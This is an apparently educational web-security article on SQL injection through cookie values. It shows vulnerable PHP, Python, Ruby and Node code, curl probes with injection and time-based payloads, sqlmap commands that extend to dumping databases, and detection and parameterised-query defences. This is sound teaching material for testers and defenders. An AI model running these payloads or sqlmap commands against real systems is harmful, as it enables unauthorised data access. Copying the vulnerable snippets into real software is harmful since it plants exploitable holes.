Cookie SQL injection is the case where an application reads a cookie value from the request and concatenates it into a database query. Session cookies are usually safe in modern apps because the framework parses them. The dangerous cookies are everything else: preference cookies, A/B-test buckets, theme selectors, language overrides, view counters, and the hand-rolled session schemes still alive in legacy code.
This is one of the per-vector leaves under the SQL injection deep dive and the HTTP request vector map.
In short: Cookie SQL injection is the case where an application reads a cookie value from the request and concatenates it into a database query. Session cookies are usually safe in modern apps because the framework parses and validates them. The dangerous cookies are everything else: theme preferences, A/B-test buckets, language overrides, visitor counters, and hand-rolled session schemes still alive in legacy code. The exploit is editing the cookie in DevTools (
theme_id=1' OR '1'='1) and watching the response change. The fix is one parameterised query plus per-cookie shape validation (a theme ID should match digits only, a language code should match a two-letter pattern). sqlmap tests cookies only when you raise--levelto 2 or higher, or when you mark an explicit*injection point inside a cookie value with--cookie.
Where does cookie SQL injection actually show up?
Cookies are a write-once-then-read-many channel. The application sets a cookie ("language=en"), the browser sends it back on every subsequent request, the application reads it and does something with it. The "does something" is where the bug lives. Common patterns:
- Preference lookups. "Look up the user's preferred theme from the themes table by the theme_id stored in the cookie."
- A/B-test bucket lookups. "Look up which feature flags this user gets, keyed by the bucket cookie."
- Language and region overrides. "Fetch translations for the language code in the cookie."
- View-count or activity tracking. "Increment a counter keyed by the visitor_id cookie."
- Hand-rolled sessions. "Look up the session row keyed by the session_id cookie." (Most frameworks have parameterised this for a decade. Custom code occasionally has not.)
The first four are the most-exposed because preference, bucket, and tracking cookies are usually written by app code, not framework code, and the developer who wrote the cookie-write also wrote the cookie-read.
The vulnerable code
PHP with MySQL, preference lookup:
$theme = $_COOKIE['theme_id'] ?? 'default';
$result = mysqli_query($conn, "SELECT css_url FROM themes WHERE id = '$theme'");
$theme_css = mysqli_fetch_assoc($result)['css_url'];Python with Flask and a raw SQL call:
theme = request.cookies.get('theme_id', 'default')
row = db.execute(f"SELECT css_url FROM themes WHERE id = '{theme}'").fetchone()Ruby/Rails using find_by_sql:
theme = cookies[:theme_id] || 'default'
Theme.find_by_sql("SELECT css_url FROM themes WHERE id = '#{theme}'").first
Node.js with Express and a raw pg query:
const theme = req.cookies.theme_id || 'default';
const result = await pool.query(`SELECT css_url FROM themes WHERE id = '${theme}'`);The pattern: read the cookie, concatenate into a query, no parameterisation. The same shape every framework. The only thing that varies is the syntax.
Why developers think it's safe
Three mental-model failures, in order of frequency:
- "The cookie is something we set, so we know its values." No. The user controls every byte of every cookie in their browser. Open DevTools, edit the cookie value, refresh. The server has no way to verify what it received originated from what it sent without explicit cryptographic signing (which most preference cookies skip).
- "Session cookies are validated by the framework, so cookies are safe." Session cookies are validated; preference cookies are not, because the framework does not know they exist. The validation is request-specific, not cookie-specific.
- "Cookies are key-value pairs, not query parameters; they cannot inject." They can. A cookie value is a string. Any concatenation of any user-controlled string into a SQL query is potentially exploitable.
How do you test cookies for SQL injection by hand?
First, find a cookie the application reads back into a query. The easiest way is to set the value via DevTools and watch the response change:
# Baseline
curl -s "https://target.example/page" \
-H "Cookie: theme_id=1" \
-o baseline.html
# Probe
curl -s "https://target.example/page" \
-H "Cookie: theme_id=1 OR 1=1" \
-o probe.html
# Compare
diff baseline.html probe.html | headIf the probe response differs (different theme rendered, more rows touched, a different page entirely), the cookie is in a SQL context.
For an error-based confirmation:
curl -i "https://target.example/page" \
-H "Cookie: theme_id='" 2>&1 | grep -E '500|error'For time-based:
curl -w "%{time_total}\n" "https://target.example/page" \
-H "Cookie: theme_id=1' AND SLEEP(5)-- -"5+ second response time confirms time-based blind SQLi via the cookie.
For multi-cookie cases (most apps send several), test one cookie at a time. Set every other cookie to a known good value, vary one cookie's value, observe. Tracking down which cookie is the injection point can take a few minutes of iteration.
What is the sqlmap command for cookie injection?
Two ways.
Test all cookies automatically with --level=2:
sqlmap -u "https://target.example/page" \
--cookie="session=abc; theme_id=1; ab_bucket=control" \
--level=2 --batch --random-agent--level=2 enables cookie testing per the sqlmap official Usage wiki. sqlmap will identify which cookie is injectable.
Target a specific cookie with -p:
sqlmap -u "https://target.example/page" \
--cookie="session=abc; theme_id=1; ab_bucket=control" \
-p theme_id --level=2 --batchFaster, less noise, useful when you already know the suspicious cookie.
Mark an explicit injection point with *:
sqlmap -u "https://target.example/page" \
--cookie="session=abc; theme_id=1*; ab_bucket=control" \
--batchThe * after the value tells sqlmap to inject there. Particularly useful when the cookie has a complex structure (signed token, encoded blob) and you only want to inject into one part.
If the application uses a non-standard cookie delimiter (rare but real), specify it:
sqlmap -u "https://target.example/page" \
--cookie="session=abc, theme_id=1" \
--cookie-del="," --level=2 --batchOnce injection is confirmed, the enumeration flow is identical to any other vector: --dbs, --tables -D <db>, --columns -D <db> -T <table>, --dump. See the sqlmap cheat sheet.
Detection signals
- Application logs showing cookie values with SQL syntax: quotes, dashes, parentheses, keywords. Cookie values for legitimate purposes are short and structured (a UUID, a bucket name, a language code). Anything that does not match the expected shape is suspicious.
- Cookie size jumps. Real cookies are under 100 bytes for preference data. Exploitation payloads run hundreds to thousands of bytes.
- The same database user reading
information_schema. As with every SQLi vector, this is the single highest-signal detection rule.
A worthwhile monitoring rule: log every cookie value the application reads, and alert on any cookie whose value does not match a per-cookie regex. For example, theme_id should match a digits-only pattern, language should match a two-letter code (optionally followed by a region), and ab_bucket should match a lowercase identifier. The regex patterns themselves:
theme_id -> ^[0-9]+$
language -> ^[a-z]{2}(-[A-Z]{2})?$
ab_bucket -> ^[a-z_]+$
Anything else is exploitation, framework error, or a legitimate change worth investigating.
How do you defend against cookie SQL injection?
Parameterise the lookup. The OWASP SQL Injection Prevention Cheat Sheet covers every major stack. Same rule as every other SQLi vector. PHP with PDO:
$stmt = $pdo->prepare("SELECT css_url FROM themes WHERE id = ?");
$stmt->execute([$_COOKIE['theme_id'] ?? 'default']);Python with sqlite3 (and any DB-API driver):
row = db.execute(
"SELECT css_url FROM themes WHERE id = ?",
(request.cookies.get('theme_id', 'default'),)
).fetchone()Node.js with node-postgres:
const result = await pool.query(
'SELECT css_url FROM themes WHERE id = $1',
[req.cookies.theme_id || 'default']
);Validate the cookie value against an expected shape. Parameterisation prevents SQL injection. Validation prevents your code from making bad lookup decisions on garbage input. For a numeric ID:
theme_raw = request.cookies.get('theme_id', '')
if not theme_raw.isdigit() or int(theme_raw) > 1_000_000:
theme_id = DEFAULT_THEME_ID
else:
theme_id = int(theme_raw)For an allow-listed enum:
ALLOWED = {'light', 'dark', 'sepia', 'high-contrast'}
theme = request.cookies.get('theme', 'light')
if theme not in ALLOWED:
theme = 'light'Sign your preference cookies. If the value is supposed to come from the server, sign it with an HMAC keyed by a server-side secret, and reject unsigned or invalid-signature cookies. This shifts the trust model from "I hope the user did not edit this" to "I can prove the user did not edit this". Frameworks do this for session cookies; most do not for preference cookies because the developer never asked them to.
Defence at the infrastructure level
- Schema constraints. If
theme_idis supposed to be an integer, make the database column an integer. The driver will refuse to bind a string with quotes in it. Defence in depth. - Least-privilege database account for read-only paths. The theme lookup needs SELECT on
themesand nothing else. No SELECT onusers. No SELECT oninformation_schema. - WAF cookie inspection. Most commercial WAFs inspect cookie values. The rules are useful for the obvious payloads but defeated by tamper obfuscation, as with every WAF-based defence.
Common defence mistakes
- Trusting cookies because "we set them". The browser stores them; the user controls the browser.
- Validating in a middleware that runs before the route, but having the route handler bypass the middleware via a different code path. Test that the validation actually runs on the code path that does the lookup.
- Allow-listing the cookie value at the route handler but logging the raw value into an analytics table without parameterisation. Same bug, different code, same outcome. Both paths need to be parameterised.
- Signing the cookie but not verifying the signature on every read. If you skip the verification step, the signing was decoration.
Real-world incidents
Cookie-based SQL injection appears in disclosed CVEs across the WordPress ecosystem in particular:
- WP Cookie User Info plugin (≤ 1.0.8) shipped a SQL injection in the lookup that resolved a tracking cookie to a stored user-info record. Patched in 1.0.9. (Patchstack advisory)
- WordPress Cookie Data plugin (1.5–1.5.1.3) carried PHP-level injection through cookie values written back into queries; a foundational example of the cookie-as-attack-surface pattern even though it predates the modern WordPress security tooling. (Acunetix write-up)
- Loginizer (≤ 1.3.5) had a blind SQL injection that fired through a cookie-style header value on every login attempt (CVE-2017-12650). The fix was a single switch to a parameterised query. (WPScan advisory)
Where to go next
- User-Agent SQL injection, the highest-volume header vector
- Authorization header SQL injection, the related custom-token case
- HTTP request vector map, the parent listicle
- SQL injection deep dive, the spoke with the variant taxonomy
- sqlmap cheat sheet for the full flag reference
Sources
Authoritative references this article was fact-checked against.
- OWASP, SQL Injectionowasp.org
- PortSwigger Web Security Academy, SQL injectionportswigger.net





